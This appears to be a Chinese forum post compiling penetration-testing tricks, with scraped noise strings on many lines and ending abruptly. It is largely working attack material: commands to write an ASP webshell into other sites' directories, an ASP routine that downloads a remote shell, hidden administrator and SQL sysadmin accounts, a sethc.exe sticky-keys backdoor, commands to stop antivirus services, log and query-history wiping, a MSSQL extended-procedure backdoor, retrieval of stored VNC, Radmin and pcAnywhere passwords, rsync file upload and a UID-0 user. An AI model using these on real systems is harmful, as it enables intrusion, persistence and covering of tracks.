渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
; I5 j: Y5 w2 bOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
" y% C) Q. {* b+ \% n& z; u. c3 s        

3 c  H6 j' }+ L" }5 HMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
7 r7 }; ~$ P) m5 M, F
+ {3 k( V1 a; P; F3 L( b3 H2 fUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
+ _: V# S, p7 Q* x% K! Y) ]6 ]End If
  `' E- @- b; [7 s  w5 eSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
1 x( Y  r, p" DFor Each obj3w In objservice
4 }. N$ q# H6 P$ F% u        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
8 F) M7 b4 K+ c3 x$ v( M6 E( f         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
% s" l8 j  G% G" |. F                WScript.Echo Chr(10) & "[" &
2 G* E3 p& [  |+ N$ \$ B% T) H
5 n7 E* V; [% B8 f, t* X1 \: J: VOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
! C# l. ]9 M" n' H4 v' z4 n     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
! h  Z: g$ t% }                        

  Y, U/ `8 ~5 p) {, P. _WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
! y- I5 k/ V2 ?3 z. O) j% s. a      

! m& j5 X+ }4 O0 N1 ^         WScript.Echo "ath            : " & VDirObj.Path
        End If
# ?9 z! N& G/ B( ?/ D; b* s: XNext
9 {4 q4 F  g. g8 o* V+ d复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
2 P/ l# [$ K: k0 U9 Q) bWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
7 y  b# \$ z. g/ e——————————————————————
) V7 x' [6 `  Q9 L; Y& jphpMyAdmin暴路径办法:
: t0 b& `: \8 }6 r. pphpMyAdmin/libraries/select_lang.lib.php
9 H) Q* W6 T! Y0 UphpMyAdmin/darkblue_orange/layout.inc.php
; f/ L' u: L1 SphpMyAdmin/index.php?lang[]=1
5 a, s% a( E& y5 L( U; I- Zphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
& P* s' d% t7 ]/ }3 B1 X网站可能目录(注：一般是虚拟主机类）
1 `$ {1 [, N  u& @# H) d0 B% P; kdata/htdocs.网站/网站/
————————————————————
# x# B3 O# z' F3 }& [6 ECMD下操作VPN相关
7 K/ i" S& ~& l9 r- Cnetsh ras set user administrator permit #允许administrator拨入该VPN
% B3 e% B/ \2 v, P7 `8 Nnetsh ras set user administrator deny #禁止administrator拨入该VPN
5 P1 B9 K$ n. m5 `. y0 h9 b1 }netsh ras show user #查看哪些用户可以拨入VPN
( A; g  e* ]# D1 l! |1 f$ M4 gnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
0 K0 D6 N3 n8 T1 o2 Q( p! E8 Bnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
$ M4 e0 H( l# n' d8 Z  e) I! t) Vexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
( y  U2 i' b& d& W9 C) j1 C然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
3 p$ G. `+ ^) ]1 M. Y4 Y& Q
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
* X4 U2 n, e- c* t0 O# {var o=new ActiveXObject( "Shell.Users" );
4 o# f) L9 f( G; Q8 [z=o.create("test") ;
. R0 U  P* N1 J& Uz.changePassword("123456","")
3 j6 ^# Y/ N: I9 ~3 Wz.setting("AccountType")=3;

1 ^. ]# F; S+ p& v9 h4 h* o2 S/ ?vbs:
4 L$ O4 R# R$ KSet   o=CreateObject( "Shell.Users" )
& F# l2 b( E; bSet z=o.create("test")
9 O( C/ O* n3 ?) S. Hz.changePassword "123456",""
$ k% E  y; i0 w+ tz.setting("AccountType")=3
——————————————————
4 x6 h# h1 X$ L/ }% C0 fcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

3 p" }& e4 q, `) a% w; ^命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
6 U+ u1 i% [+ s! Ncacls "目录" /d everyone               #everyone不可读，包括admin
' D' T( t& y/ D% A6 @( V————————以下配合PR更好————
2 S) n/ O" w6 Q$ q) W3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
: L$ [& [" x" e9 ~3 a7 F% kb、内网环境（LCX）
c、终端服务器超出了最大允许连接
* U, H: H. ~- \# Z1 d/ rXP 运行mstsc /admin
2003 运行mstsc /console   
0 P$ ~: Y& s/ c
杀软关闭（把杀软所在的文件的所有权限去掉）
% G9 h0 i0 h2 b+ `处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
, W6 |- k- S: f: O7 Enet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
* C' w) K4 I9 U/ a1 x- qnet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
0 o8 X0 {! O8 Q$ Z. t————————————————————

1 _1 k2 ~/ Q1 |5次SHIFT：
9 \5 }" q; P# ccopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
+ a9 z& `$ F/ E" d7 ^copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
; O$ Y& G- ~- @- K2 A2 [——————————————————————
# Z; b* \. I0 U隐藏账号添加：
+ J- }6 X# F6 \1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
$ F3 r1 A% A/ R' f7 y$ N! n+ L2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
- h! S& s3 f. GMSSQL扩展后门：
+ n5 R8 I1 W4 l9 d7 EUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
  D( l8 Y$ x& h  rGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
4 I2 s+ [4 y5 [  Y; F+ i, B  [4 e不成功，“原文件...正在使用”
' H: L" z* r& i; g5 G3 B0 N当然可以直接删除ex011120.log / ex011121.log
2 l  K4 R9 _' u: p! F用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
5 Z% `: g+ D/ y当停止msftpsvc服务后可直接删除ex011124.log

1 }7 G$ r8 N7 w4 xMSSQL查询分析器连接记录清除：
) q3 w5 v& ]" T+ s& k& d' kMSSQL 2000位于注册表如下：
1 F) E! F2 q! S- }4 o8 }& G. a3 e7 ^) mHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
# L8 @1 k) g" H% fSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
# `& X3 M# o- i6 }# E1 k" EDim Ads, Retrieval, GetRemoteData
; u7 J! B& X7 zOn Error Resume Next
$ O" W- y% _1 F3 DSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
2 n4 ?- ]! v5 Z.Open "Get", s_RemoteFileUrl, False, "", ""
4 t6 t* G& e! j6 ^8 W.Send
GetRemoteData = .ResponseBody
6 A9 y+ E8 w  y' ]6 mEnd With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
( F5 [. d4 M. c6 C) V+ [.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
Set Ads=nothing
9 A3 g- D5 q- Q5 Z9 ^End Sub
/ ^) T5 j+ |2 P1 ^
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
4 ^! f: F9 |! m% R9 s# y+ u
& J( h( f& ~. c" l8 D3 U3 JVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
7 V6 U% F+ ?/ O9 v# z% Z3 U& x注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
5 l5 ?1 L7 |; h9 L* Fregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
$ k# v+ B2 P; ]3 s- HHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
& I" u! o8 m8 i7 ^2 v然后用HASH版连接。
1 G. s7 L$ n; T如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
* T9 y% S; x4 I3 V3 i; C  L; w保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
' i# K" I4 R; t4 H——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
0 F& ^+ u, ]. F' L0 EWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
$ q, D% P7 ^- L) h7i24的web目录也是可写，权限为administrator。
: b1 S1 r6 x8 U! v1 Y5 S
1433 SA点构建注入点。
9 d4 h' }7 [; n4 w9 ]$ j/ v3 z<%
strSQLServerName = "服务器ip"
' g) F& d0 ?+ B6 TstrSQLDBUserName = "数据库帐号"
+ N9 X( C, [7 n9 M0 S8 J" JstrSQLDBPassword = "数据库密码"
# P3 _; I, _  G( x. Y7 k, R9 v7 ^- XstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
3 V4 f3 K9 S0 v7 l4 L& @strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
( {+ C) O3 R2 ^' }$ w- Y8 S, Q3 q/ S
; s- G# R: h& ?+ ~" b- Y- gstrSQLDBName & ";"
4 D4 D  r, [- k5 {6 u5 j- k- iconn.open strCon
dim rs,strSQL,id
# x, R# |- F8 b. e0 x2 {+ lset rs=server.createobject("ADODB.recordset")
3 j* @! h; u% Lid = request("id")
: t, {* I8 Q5 q" r6 P" V5 F  a" bstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
2 W/ ~# p% h6 S  U# W% ers.close
%>
$ m6 b: k5 ~( r! @) a复制代码
: b1 V4 M8 g& n7 O6 y7 c9 i  Z5 o******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
" ~) M8 ^, Y7 k( |4 b' G# I$ P看看密码登录策略我们可以看到使用了file ldap模式
4 l% t6 V4 K/ d
2.less /etc/ldap.conf
# g0 M& ^0 A) ?' Bbase ou=People,dc=unix-center,dc=net
6 p. e7 [7 t- u/ H* v/ q! L找到ou,dc,dc设置
  ]2 M/ I! N3 A6 Y! J
3.查找管理员信息
  O) F9 \1 g9 k$ `& t匿名方式
& M0 ^3 V$ O% w, i  uldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
, r" X% c" I( a& [. W! N4 H' r
, w9 \' X- [0 u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* d/ {$ M$ _$ E6 I有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
4 E- E- L6 [- J0 g  x0 r
( J. G1 @5 L8 z0 K0 j7 m& a5 c, z
4.查找10条用户记录
( m( m/ \0 ~/ |3 P+ m( jldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

6 e1 \( C4 c  t实战:
1.cat /etc/nsswitch
3 ]( g/ G0 p1 a- @' \# m看看密码登录策略我们可以看到使用了file ldap模式
3 {3 ]; v+ x; ?. b' n  u
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
! A# \2 Y6 Z/ a; s& \" j' U) e# K找到ou,dc,dc设置
1 ~2 A1 X8 a2 N( X  n9 Z: X
3.查找管理员信息
  U( d6 Y0 X9 P' N& N$ V; `匿名方式
) {% @) N0 a/ w/ B5 F7 `ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
' c# ]( a, {) G2 qldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 a3 V! [' Y9 i/ V( r

6 L+ ^: ^8 ^0 }4.查找10条用户记录
; u! Z) [5 x$ d- \: Z4 }8 i! d, Lldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
" C3 T0 l, Z, z/ E3 d# X4 \+ [
' i! B. `' q. q' N渗透实战:
' R- z4 U/ |1 @7 H, X( J1.返回所有的属性
/ }* u* H/ Q; J# f( Z6 xldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
/ L) {6 [; N% ^) l" sversion: 1
4 r3 i  w- F' `* p% p4 \+ mdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
6 _9 ]) P0 p5 \* H9 g, B$ n0 ^% e  |
% Y7 _1 H& N9 V3 K, F1 A8 T2 ldn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
2 w0 ^+ J" G* c8 ?' C3 k* aobjectClass: top
% s; Y  g$ w3 {5 ]8 |sn: manager
) b3 ~9 b* P, \+ Q" ]. Q" \) \cn: manager

0 G. }+ T& T$ j$ j0 \0 m* tdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
0 o, Z4 B- z# _  [3 N  [4 ]uid: superadmin
8 G4 d* R; j5 e: D# O( o" HobjectClass: inetOrgPerson
* T+ H. Z& G5 u2 R# H: V7 }' _objectClass: organizationalPerson
objectClass: person
objectClass: top
" `5 X: q) [1 p* h2 u: hsn: superadmin
cn: superadmin
/ ]( G0 s4 U4 Q, x! N- f: v) l, m
dn: uid=admin,dc=ruc,dc=edu,dc=cn
9 ^$ q6 }! u' B8 M, V# W- B, ]uid: admin
) z+ w- `* ]" Z5 U5 ^4 B: c7 C) ZobjectClass: inetOrgPerson
' f$ {' {* t* G7 V- KobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
, @- y. [  |. l( w$ w# L8 r7 Bcn: admin

  z- C* L) |0 H$ C! y" u  adn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
" K% h1 G( f( d+ m9 ]7 ruid: dcp_anonymous
objectClass: top
2 t5 Z7 p+ q) i0 w* _# L8 V: FobjectClass: person
0 O. q8 J. ?$ K0 T1 s" b5 ^: @; EobjectClass: organizationalPerson
( |7 v& U% G+ P% JobjectClass: inetOrgPerson
) e! T/ S- C1 G5 D# ]' Ksn: dcp_anonymous
cn: dcp_anonymous

; Y( |# X' Z) I1 L  j0 C  E; z8 E2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
0 g. j0 z& g9 Y3 B* @! W' S6 Y
0 ~9 j! @7 M1 n# X$ L" {more
6 I$ H* w/ m3 |, ]( C, V8 R7 Pversion: 1
: y" T) B/ u7 n$ L  _dn: dc=ruc,dc=edu,dc=cn
dc: ruc
) }7 k/ P. V/ r- ?6 c2 f* x! `objectClass: domain

; T% {$ I% p3 B0 K" O3 d$ d8 Z$ y" g3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
: g2 v3 R5 V& t/ y5 u. p' vsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
# |9 K5 \+ B9 osupportedExtension: 2.16.840.1.113730.3.5.3
. J$ }. O; X4 h" J4 U, ^8 @supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
0 W4 L' `) a- BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
* l/ I# f2 M7 X) B* Y7 _4 O; jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
. G8 [& y! E/ _& _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
+ i* A8 V$ p- A8 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
* l- M- C6 {3 L! Q* ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
% {2 x  L: S2 I6 D9 lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
; S5 D  l+ K/ N8 O5 J4 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
6 o2 t( F# J, s5 E) ?. IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
5 A) Q2 Z' l0 j  b1 UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
2 K8 c3 a. ~& a0 C+ z  |+ e. G; ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
, k8 J# C( z7 E+ M% ^+ ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
1 M% C! j6 p. x9 m( U( s6 y& h$ GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
2 F0 Q9 ]: o& PsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
7 V0 W* u+ V2 D. e1 X6 [supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
2 U* O3 t" u+ U' `: Q8 e, ]* F3 l9 s$ Z4 esupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
0 X7 n3 N5 O8 c/ {3 g  e) gsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
5 {# ^' W; S% k4 [1 {8 {0 DsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
6 c# V5 [6 D! K9 j5 E8 s2 k6 osupportedControl: 2.16.840.1.113730.3.4.12
: e/ N( j- y$ q+ x# W- P" `supportedControl: 2.16.840.1.113730.3.4.18
2 i4 j# q8 t$ n. a$ FsupportedControl: 2.16.840.1.113730.3.4.13
, `6 e* K7 q% t5 }' j& osupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
& r3 E& d1 x. e" A! i( vvendorVersion: Sun-Java(tm)-System-Directory/6.2
/ G, e( e8 e9 p2 l$ Hdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
+ z+ P8 U1 a' G% p1 w0 D- psupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
8 j3 _* r" a. y9 D  ^supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
( P- v# X! T# |) _7 b" n. W/ b4 MsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
8 W- ~) r# f0 D* c* r" Y  ysupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
9 x" s1 d! ~1 D8 ~supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
* @& s2 Z2 @6 l# d% N, ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
5 U. ^6 z& y. _, }% T6 {# r. nsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
; m% U, K  v# @% p6 |* ZsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
& z; V, u3 U2 F& S# ?! A' J0 IsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
. w1 @8 ~; p9 p% E# R- `) ~supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
+ O1 e9 q" ^% F8 u6 @supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
9 W; n% N/ M  y0 BsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
$ X* ?6 A) i  l4 c7 y0 d0 ssupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
* E: b+ I, Z# h3 V7 h" `# ?supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
' t1 P6 v$ \3 y/ H& s' {supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
( ]' V9 [# ^" [: ksupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
( W" j' t1 t) T1 HsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
' s. D0 ^. a, T6 XsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
0 s$ l$ N9 ]# DsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
' F) {, p, v4 z2 K- KsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
- H& g/ d; e: f  c+ |2 {supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
4 U- {4 I2 V* N/ m8 u- fsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
7 {: W, i( ^8 o! k# |* w& O% b2. NFS渗透技巧
* z2 Q% R  t6 n6 Q7 e1 n1 x9 W. kshowmount -e ip
列举IP
——————
3.rsync渗透技巧
& ^: G1 p* ]* E! t& Z& u1 U1.查看rsync服务器上的列表
rsync 210.51.X.X::
  J; j& a& f6 _9 t# l* t* w: Xfinance
0 r3 c& l4 w2 C( ?img_finance
+ t3 y  S* H. n; I& rauto
img_auto
  \: |2 `+ N( M' khtml_cms
& [8 D( I1 i* V5 c( Simg_cms
9 U& t3 D: }( s. x/ ~* b. Ient_cms
ent_img
ceshi
res_img
. i: F9 K9 K0 K: u% zres_img_c2
# k& X) [. ?( q" echip
6 M+ A- ^2 A  H7 }" ]: a3 M. Lchip_c2
ent_icms
games
8 b6 ]; f: Z- R& w# h7 cgamesimg
media
mediaimg
4 r' _) f7 p! O5 [6 B! Lfashion
( k7 r7 r- C' g' Y. C8 ^9 wres-fashion
: U% k* \& M0 }1 S9 mres-fo
taobao-home
res-taobao-home
house
3 f. u( |" G/ W5 I" z9 x, eres-house
res-home
res-edu
res-ent
  G1 y( o8 R* }2 |' {res-labs
res-news
res-phtv
res-media
home
edu
news
# @% T( L# _* z) S8 cres-book
/ q0 n2 Z0 E4 V5 _! C5 C
! d" h- X! O& \/ q, f看相应的下级目录(注意一定要在目录后面添加上/)

) B& N7 `/ P; i) @
8 V6 B/ S0 d- Y1 ~$ arsync 210.51.X.X::htdocs_app/
+ z! K, h4 X& y2 E) o# P0 Wrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

& e, s$ y$ C& R2 g+ `% d- v2.下载rsync服务器上的配置文件
: C& O* B$ u: d2 n/ {2 W) D2 S. [rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
+ e+ L7 s1 `0 X9 u2 ~. c8 H+ Q
3.向上更新rsync文件(成功上传,不会覆盖)
: J3 f- b7 E2 g) ^" S" l% f; k7 qrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
, n8 w' p7 [" j5 r3 D! rGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
  g" _  A/ {0 y, z五.SSH端口转发
& d! V0 H! w- M9 [2 G* h8 pssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
6 U7 z* P0 p4 S6 _
六.joomla渗透小技巧
: w) k/ v& y. _# G" z; M确定版本
/ j& d8 j+ n! V$ z  Cindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

; K7 A, K2 L, i0 e15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm

# h8 X/ l. |; c七: Linux添加UID为0的root用户
( F. r/ O2 {- Euseradd -o -u 0 nothack

八.freebsd本地提权
1 b+ v" L% w6 F3 R$ ~[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
+ A& C- i. u: Y, `' U* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
